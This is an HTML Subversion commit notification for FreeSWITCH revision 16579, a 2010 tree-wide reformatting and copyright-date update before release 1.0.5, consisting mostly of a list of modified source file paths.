<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>[Freeswitch-trunk][16579] </title>
</head>
<body>

<style type="text/css"><!--
#msg dl.meta { border: 1px #006 solid; background: #369; padding: 6px; color: #fff; }
#msg dl.meta dt { float: left; width: 6em; font-weight: bold; }
#msg dt:after { content:':';}
#msg dl, #msg dt, #msg ul, #msg li, #header, #footer, #logmsg { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt;  }
#msg dl a { font-weight: bold}
#msg dl a:link    { color:#fc3; }
#msg dl a:active  { color:#ff0; }
#msg dl a:visited { color:#cc6; }
h3 { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt; font-weight: bold; }
#msg pre { overflow: auto; background: #ffc; border: 1px #fa0 solid; padding: 6px; }
#logmsg { background: #ffc; border: 1px #fa0 solid; padding: 1em 1em 0 1em; }
#logmsg p, #logmsg pre, #logmsg blockquote { margin: 0 0 1em 0; }
#logmsg p, #logmsg li, #logmsg dt, #logmsg dd { line-height: 14pt; }
#logmsg h1, #logmsg h2, #logmsg h3, #logmsg h4, #logmsg h5, #logmsg h6 { margin: .5em 0; }
#logmsg h1:first-child, #logmsg h2:first-child, #logmsg h3:first-child, #logmsg h4:first-child, #logmsg h5:first-child, #logmsg h6:first-child { margin-top: 0; }
#logmsg ul, #logmsg ol { padding: 0; list-style-position: inside; margin: 0 0 0 1em; }
#logmsg ul { text-indent: -1em; padding-left: 1em; }#logmsg ol { text-indent: -1.5em; padding-left: 1.5em; }
#logmsg > ul, #logmsg > ol { margin: 0 0 1em 0; }
#logmsg pre { background: #eee; padding: 1em; }
#logmsg blockquote { border: 1px solid #fa0; border-left-width: 10px; padding: 1em 1em 0 1em; background: white;}
#logmsg dl { margin: 0; }
#logmsg dt { font-weight: bold; }
#logmsg dd { margin: 0; padding: 0 0 0.5em 0; }
#logmsg dd:before { content:'\00bb';}
#logmsg table { border-spacing: 0px; border-collapse: collapse; border-top: 4px solid #fa0; border-bottom: 1px solid #fa0; background: #fff; }
#logmsg table th { text-align: left; font-weight: normal; padding: 0.2em 0.5em; border-top: 1px dotted #fa0; }
#logmsg table td { text-align: right; border-top: 1px dotted #fa0; padding: 0.2em 0.5em; }
#logmsg table thead th { text-align: center; border-bottom: 1px solid #fa0; }
#logmsg table th.Corner { text-align: left; }
#logmsg hr { border: none 0; border-top: 2px dashed #fa0; height: 1px; }
#header, #footer { color: #fff; background: #636; border: 1px #300 solid; padding: 6px; }
#patch { width: 100%; }
#patch h4 {font-family: verdana,arial,helvetica,sans-serif;font-size:10pt;padding:8px;background:#369;color:#fff;margin:0;}
#patch .propset h4, #patch .binary h4 {margin:0;}
#patch pre {padding:0;line-height:1.2em;margin:0;}
#patch .diff {width:100%;background:#eee;padding: 0 0 10px 0;overflow:auto;}
#patch .propset .diff, #patch .binary .diff  {padding:10px 0;}
#patch span {display:block;padding:0 10px;}
#patch .modfile, #patch .addfile, #patch .delfile, #patch .propset, #patch .binary, #patch .copfile {border:1px solid #ccc;margin:10px 0;}
#patch ins {background:#dfd;text-decoration:none;display:block;padding:0 10px;}
#patch del {background:#fdd;text-decoration:none;display:block;padding:0 10px;}
#patch .lines, .info {color:#888;background:#fff;}
--></style>
<div id="msg">
<div id="header">FreeSWITCH Subversion</div>
<dl class="meta">
<dt>Revision</dt> <dd><a href="http://fisheye.freeswitch.org/changelog/FreeSWITCH?cs=16579">16579</a></dd>
<dt>Author</dt> <dd>anthm</dd>
<dt>Date</dt> <dd>2010-02-05 21:38:24 -0600 (Fri, 05 Feb 2010)</dd>
</dl>

<h3>Log Message</h3>
<pre>run indent on the whole tree and update copyright dates in prep for 1.0.5</pre>

<h3>Modified Paths</h3>
<ul>
<li><a href="#freeswitchtrunkbuildindent_optionssh">freeswitch/trunk/build/indent_options.sh</a></li>
<li><a href="#freeswitchtrunksrcg711c">freeswitch/trunk/src/g711.c</a></li>
<li><a href="#freeswitchtrunksrcincludeSimpleGlobh">freeswitch/trunk/src/include/SimpleGlob.h</a></li>
<li><a href="#freeswitchtrunksrcincludeprivateswitch_core_pvth">freeswitch/trunk/src/include/private/switch_core_pvt.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitchh">freeswitch/trunk/src/include/switch.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_aprh">freeswitch/trunk/src/include/switch_apr.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_bitpackh">freeswitch/trunk/src/include/switch_bitpack.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_bufferh">freeswitch/trunk/src/include/switch_buffer.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_callerh">freeswitch/trunk/src/include/switch_caller.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_channelh">freeswitch/trunk/src/include/switch_channel.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_configh">freeswitch/trunk/src/include/switch_config.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_consoleh">freeswitch/trunk/src/include/switch_console.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_coreh">freeswitch/trunk/src/include/switch_core.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_core_dbh">freeswitch/trunk/src/include/switch_core_db.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_core_event_hookh">freeswitch/trunk/src/include/switch_core_event_hook.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_dsoh">freeswitch/trunk/src/include/switch_dso.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_eventh">freeswitch/trunk/src/include/switch_event.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_frameh">freeswitch/trunk/src/include/switch_frame.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_ivrh">freeswitch/trunk/src/include/switch_ivr.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_loadable_moduleh">freeswitch/trunk/src/include/switch_loadable_module.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_logh">freeswitch/trunk/src/include/switch_log.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_module_interfacesh">freeswitch/trunk/src/include/switch_module_interfaces.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_mprintfh">freeswitch/trunk/src/include/switch_mprintf.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_nath">freeswitch/trunk/src/include/switch_nat.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_odbch">freeswitch/trunk/src/include/switch_odbc.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_platformh">freeswitch/trunk/src/include/switch_platform.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_regexh">freeswitch/trunk/src/include/switch_regex.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_resampleh">freeswitch/trunk/src/include/switch_resample.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_rtph">freeswitch/trunk/src/include/switch_rtp.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_schedulerh">freeswitch/trunk/src/include/switch_scheduler.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_stunh">freeswitch/trunk/src/include/switch_stun.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_typesh">freeswitch/trunk/src/include/switch_types.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_utilsh">freeswitch/trunk/src/include/switch_utils.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_xmlh">freeswitch/trunk/src/include/switch_xml.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_xml_configh">freeswitch/trunk/src/include/switch_xml_config.h</a></li>
<li><a href="#freeswitchtrunksrcinet_ptonc">freeswitch/trunk/src/inet_pton.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_cidlookupmod_cidlookupc">freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_cluechoomod_cluechooc">freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_commandsmod_commandsc">freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_conferencemod_conferencec">freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_curlmod_curlc">freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_directorymod_directoryc">freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_distributormod_distributorc">freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_dptoolsmod_dptoolsc">freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_easyroutemod_easyroutec">freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_enummod_enumc">freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_esfmod_esfc">freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprconioh">freeswitch/trunk/src/mod/applications/mod_expr/conio.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprevalh">freeswitch/trunk/src/mod/applications/mod_expr/expreval.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprilfsh">freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprmemh">freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprprivh">freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprmod_exprc">freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_faxmod_faxc">freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_fifomod_fifoc">freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_fsvmod_fsvc">freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_lcrmod_lcrc">freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_limitmod_limitc">freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_memcachemod_memcachec">freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_nibblebillmod_nibblebillc">freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_rssmod_rssc">freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_skelmod_skelc">freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snapshotmod_snapshotc">freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snipe_huntmod_snipe_huntc">freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snommod_snomc">freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_soundtouchmod_soundtouchcpp">freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_spymod_spyc">freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_stressFFTRealh">freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_stressmod_stresscpp">freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewaymod_t38gatewayc">freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlc">freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlh">freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_valet_parkingmod_valet_parkingc">freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_vmdmod_vmdc">freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_voicemailmod_voicemailc">freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_cepstralmod_cepstralc">freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_flitemod_flitec">freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_pocketsphinxmod_pocketsphinxc">freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_tts_commandlinemod_tts_commandlinec">freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_unimrcpmod_unimrcpc">freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_amrmod_amrc">freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_amrwbmod_amrwbc">freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_bvmod_bvc">freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_celtmod_celtc">freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_dahdi_codecmod_dahdi_codecc">freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_g723_1mod_g723_1c">freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_g729mod_g729c">freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_h26xmod_h26xc">freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_ilbcmod_ilbcc">freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_sirenmod_sirenc">freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_skel_codecmod_skel_codecc">freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_speexmod_speexc">freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_voipcodecsmod_voipcodecsc">freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_asteriskmod_dialplan_asteriskc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_directorymod_dialplan_directoryc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_xmlmod_dialplan_xmlc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c</a></li>
<li><a href="#freeswitchtrunksrcmoddirectoriesmod_ldapmod_ldapc">freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_alsamod_alsac">freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_dingalingmod_dingalingc">freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_h323mod_h323h">freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_loopbackmod_loopbackc">freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_opalmod_opalh">freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiomod_portaudioc">freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiopablioc">freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiopablioh">freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_referencemod_referencec">freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxalsadummyc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskchan_skypiaxc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskcyg_no_pthread_killc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskskypiaxh">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxconfigsclientc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxconfigsskypiax_authc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxmod_skypiaxc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxskypiax_protocolc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiamod_sofiac">freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiamod_sofiah">freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofiac">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_gluec">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_presencec">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_regc">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_slac">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_unicallmod_unicallc">freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_cdr_csvmod_cdr_csvc">freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventei_helpersc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventhandle_msgc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventh">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_multicastmod_event_multicastc">freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_socketmod_event_socketc">freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_testmod_event_testc">freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_radius_cdrmod_radius_cdrc">freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_file_stringmod_file_stringc">freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_local_streammod_local_streamc">freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_native_filemod_native_filec">freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_portaudio_streammod_portaudio_streamc">freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_shell_streammod_shell_streamc">freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_shoutmod_shoutc">freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_sndfilemod_sndfilec">freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_tone_streammod_tone_streamc">freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_javafreeswitch_javah">freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_javamodjavac">freeswitch/trunk/src/mod/languages/mod_java/modjava.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luafreeswitch_luah">freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamod_luacpp">freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamod_lua_extrah">freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamy_swigable_cpph">freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_managedfreeswitch_managedh">freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlfreeswitch_perlh">freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlmod_perlc">freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlmod_perl_extrah">freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonfreeswitch_pythonh">freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_pythonc">freeswitch/trunk/src/mod/languages/mod_python/mod_python.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrac">freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrah">freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyh">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_core_dbc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_curlc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_odbcc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_skelc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_socketc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_teletonec">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_yamlmod_yamlc">freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_consolemod_consolec">freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_logfilemod_logfilec">freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_syslogmod_syslogc">freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_enmod_say_enc">freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_esmod_say_esc">freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_humod_say_huc">freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_itmod_say_itc">freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_rumod_say_ruc">freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_rumod_say_ruh">freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h</a></li>
